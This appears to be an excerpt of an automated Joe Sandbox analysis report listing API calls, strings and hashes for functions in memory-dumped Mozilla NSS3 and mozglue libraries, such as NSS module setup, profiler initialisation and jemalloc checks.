Part of subcall function 6CA4AB2A: __onexit.LIBCMT ref: 6CA4AB30

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e5acd5ea0e63d2cbb6ce21dad510a074570eba486f8fc811a63b0f0748d59917
Instruction ID: d6e010cc3fc4ad85c6e90c9c07dd609f0ec556283f904296ad3350fe4b7fc4d0
Opcode Fuzzy Hash: e5acd5ea0e63d2cbb6ce21dad510a074570eba486f8fc811a63b0f0748d59917
Instruction Fuzzy Hash: 13F0D612D3078596CB14DF388D421EA7374AF6B114B50971DF98557511FF2061ED8391

Non-executed Functions

Function 6CB46E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CC92120,6CB47E60), ref: 6CB46EBC
TlsGetValue.KERNEL32 ref: 6CB46EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB46EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CB46F25

Part of subcall function 6CB1A900: TlsGetValue.KERNEL32(00000000,?,6CC914E4,?,6CAB4DD9), ref: 6CB1A90F
Part of subcall function 6CB1A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB1A94F

PR_Unlock.NSS3 ref: 6CB46F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CB46FA9
TlsGetValue.KERNEL32 ref: 6CB470B4
EnterCriticalSection.KERNEL32(?), ref: 6CB470C8
PR_CallOnce.NSS3(6CC924C0,6CB87590), ref: 6CB47104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB47117
SECOID_Init.NSS3 ref: 6CB47128
PORT_Alloc_Util.NSS3(00000057), ref: 6CB4714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB4717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB471A9
PR_NotifyAllCondVar.NSS3 ref: 6CB471CF
PR_Unlock.NSS3 ref: 6CB471DD
free.MOZGLUE(?), ref: 6CB471EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB47208
free.MOZGLUE(00000000), ref: 6CB47221
free.MOZGLUE(00000001), ref: 6CB47235
TlsGetValue.KERNEL32 ref: 6CB4724A
EnterCriticalSection.KERNEL32(?), ref: 6CB4725E
PR_NotifyCondVar.NSS3 ref: 6CB47273
PR_Unlock.NSS3 ref: 6CB47281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB47291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB472B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB472D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB472E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB47301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB47310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB47335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB47344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB47363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB47372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CC80148,,defaultModDB,internalKeySlot), ref: 6CB474CC
free.MOZGLUE(00000000), ref: 6CB47513
free.MOZGLUE(00000000), ref: 6CB4751B
free.MOZGLUE(00000000), ref: 6CB47528
free.MOZGLUE(00000000), ref: 6CB4753C
free.MOZGLUE(00000000), ref: 6CB47550
free.MOZGLUE(00000000), ref: 6CB47561
free.MOZGLUE(00000000), ref: 6CB47572
free.MOZGLUE(00000000), ref: 6CB47583
free.MOZGLUE(00000000), ref: 6CB47594
free.MOZGLUE(00000000), ref: 6CB475A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CB475BD
free.MOZGLUE(00000000), ref: 6CB475C8
free.MOZGLUE(00000000), ref: 6CB475F1
PR_NewLock.NSS3 ref: 6CB47636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB47686
PR_NewLock.NSS3 ref: 6CB476A2

Part of subcall function 6CBF98D0: calloc.MOZGLUE(00000001,00000084,6CB20936,00000001,?,6CB2102C), ref: 6CBF98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CB476B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CB47707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB4771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB47731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CB4774A
DeleteCriticalSection.KERNEL32(?), ref: 6CB47770
free.MOZGLUE(?), ref: 6CB47779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB477AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CB477C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB477DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CB47821
PORT_Alloc_Util.NSS3(?), ref: 6CB47837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB4785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB4786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CB478AC
free.MOZGLUE(00000000), ref: 6CB478BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CB478F3
free.MOZGLUE(00000000), ref: 6CB478FC
free.MOZGLUE(00000000), ref: 6CB4791C

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

Strings

kbi., xrefs: 6CB47886
Spac, xrefs: 6CB47389
dll, xrefs: 6CB4788E
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CB474C7
NSS Internal Module, xrefs: 6CB474A2, 6CB474C6
extern:, xrefs: 6CB4772B
rdb:, xrefs: 6CB47744
,defaultModDB,internalKeySlot, xrefs: 6CB4748D, 6CB474AA
dbm:, xrefs: 6CB47716
sql:, xrefs: 6CB476FE

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: f43de8c4af4fbc217883e2c612675a518859c1fb3f7f7cf4ebdc133656ffcfb7
Instruction ID: 4e7b66cf7c7402233bc183baeef17c888dfa287f3268486fb0ac79df9993bcb1
Opcode Fuzzy Hash: f43de8c4af4fbc217883e2c612675a518859c1fb3f7f7cf4ebdc133656ffcfb7
Instruction Fuzzy Hash: 285224B1E052819BEF118F64DC45BAE7BB4EF06308F148128EC59B7B45E7B0D958CB92

Function 6CA25440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA25492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA254BE
__Init_thread_footer.LIBCMT ref: 6CA254DB

Part of subcall function 6CA4AB3F: EnterCriticalSection.KERNEL32(6CA9E370,?,?,6CA13527,6CA9F6CC,?,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB49
Part of subcall function 6CA4AB3F: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA13527,6CA9F6CC,?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4AB7C

Part of subcall function 6CA4CBE8: GetCurrentProcess.KERNEL32(?,6CA131A7), ref: 6CA4CBF1
Part of subcall function 6CA4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA131A7), ref: 6CA4CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA25516
GetCurrentThreadId.KERNEL32 ref: 6CA2556A
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA25577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA25585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA25590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA255E6
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA25606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA25616

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA2563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA25646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA2567C
free.MOZGLUE(?), ref: 6CA256AE

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA256E8
GetCurrentThreadId.KERNEL32 ref: 6CA25707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA2570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA25729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA2574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA2576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA25796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA257CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA25D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA254B9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA257AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA25AC9
GeckoMain, xrefs: 6CA25554, 6CA255D5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA25D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA25717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA25BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA25724
[I %d/%d] profiler_init, xrefs: 6CA2564E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA25D24
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA25791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA25B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA2584E
MOZ_PROFILER_STARTUP, xrefs: 6CA255E1
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA257C5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA256E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA25C56
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA25D01
MOZ_BASE_PROFILER_HELP, xrefs: 6CA25511
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA25CF9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA254A3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA25766
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA25749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA2548D

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: c2814e2d5357bfaf1ed1b8b7a918ce0066abd38bee346dfc1ea66105a5e20949
Instruction ID: b0e44a2013ce50c720e6cf0cbea504bee1b1ad0b44641e8c69915e92e4666200
Opcode Fuzzy Hash: c2814e2d5357bfaf1ed1b8b7a918ce0066abd38bee346dfc1ea66105a5e20949
Instruction Fuzzy Hash: 6F2236B49143119FDB009F74850A66A77F5BF4630CF4C8A29F94A87A45EB38C8DACB53

Function 6CA26C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA26CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA26D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA26D26

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA26D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA26D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA26D73
free.MOZGLUE(00000000), ref: 6CA26D80
CertGetNameStringW.CRYPT32 ref: 6CA26DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA26DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA26DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA26DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA26E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA26E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA26E34
CreateFileW.KERNEL32 ref: 6CA26EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA26F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA26F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA2709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA27103
free.MOZGLUE(00000000), ref: 6CA27153
CloseHandle.KERNEL32(?), ref: 6CA27176
__Init_thread_footer.LIBCMT ref: 6CA27209
__Init_thread_footer.LIBCMT ref: 6CA2723A
__Init_thread_footer.LIBCMT ref: 6CA2726B
__Init_thread_footer.LIBCMT ref: 6CA2729C
__Init_thread_footer.LIBCMT ref: 6CA272DC
__Init_thread_footer.LIBCMT ref: 6CA2730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA273C2
VerSetConditionMask.NTDLL ref: 6CA273F3
VerSetConditionMask.NTDLL ref: 6CA273FF
VerSetConditionMask.NTDLL ref: 6CA27406
VerSetConditionMask.NTDLL ref: 6CA2740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA2741A
moz_xmalloc.MOZGLUE(?), ref: 6CA2755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA27568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA27585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA27598
free.MOZGLUE(00000000), ref: 6CA275AC

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

Strings

SHA256, xrefs: 6CA26EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CA272C8
wintrust.dll, xrefs: 6CA272CD
(, xrefs: 6CA2768A

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d50f0990e68af458553e23033c30206fd34c869e43ac904b89a1bd9ad290b4a7
Instruction ID: 8a9a8e2420ea536c5eb4c56c078c71f59baf665307d3e34a4e4d43ba39d5bc31
Opcode Fuzzy Hash: d50f0990e68af458553e23033c30206fd34c869e43ac904b89a1bd9ad290b4a7
Instruction Fuzzy Hash: 6552D371A103259BEB259F24CC89BAA77B9FF45308F188199E909E7640DB34AFC5CF50

Function 6CA50DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA50F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA50F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA50FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA50FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA51031
LeaveCriticalSection.KERNEL32(?), ref: 6CA510D0
EnterCriticalSection.KERNEL32(?), ref: 6CA5117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA51C39
EnterCriticalSection.KERNEL32(6CA9E744), ref: 6CA53391
LeaveCriticalSection.KERNEL32(6CA9E744), ref: 6CA533CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA53431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA53437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA53559, 6CA5382D, 6CA53848
<jemalloc>, xrefs: 6CA53941, 6CA539F1
MALLOC_OPTIONS, xrefs: 6CA535FE
Compile-time page size does not divide the runtime one., xrefs: 6CA53946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA537D2
MOZ_CRASH(), xrefs: 6CA53950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA537BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA537A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA53793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA53A02

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: c40f1a42fdf9e93f0845f3ae80678c89a7e2cfa35be9f56c33eeb8b449680d63
Instruction ID: fc3d3f35ab4a888a7aab1ff244e694f9c4ef693d235fa2b4747d05f79e63b04e
Opcode Fuzzy Hash: c40f1a42fdf9e93f0845f3ae80678c89a7e2cfa35be9f56c33eeb8b449680d63
Instruction Fuzzy Hash: CD537B71A067018FC708CF29C540626BBE1BFC5328F69C76DE8A99B791D771E891CB81

Function 6CA755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA4E1A5), ref: 6CA75606
LoadLibraryW.KERNEL32(gdi32,?,6CA4E1A5), ref: 6CA7560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA75633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA7563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA7566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA7567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA75696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA75716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA7572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA75748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA75761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA7577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA75793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA757FF

Strings

ReleaseDC, xrefs: 6CA75742
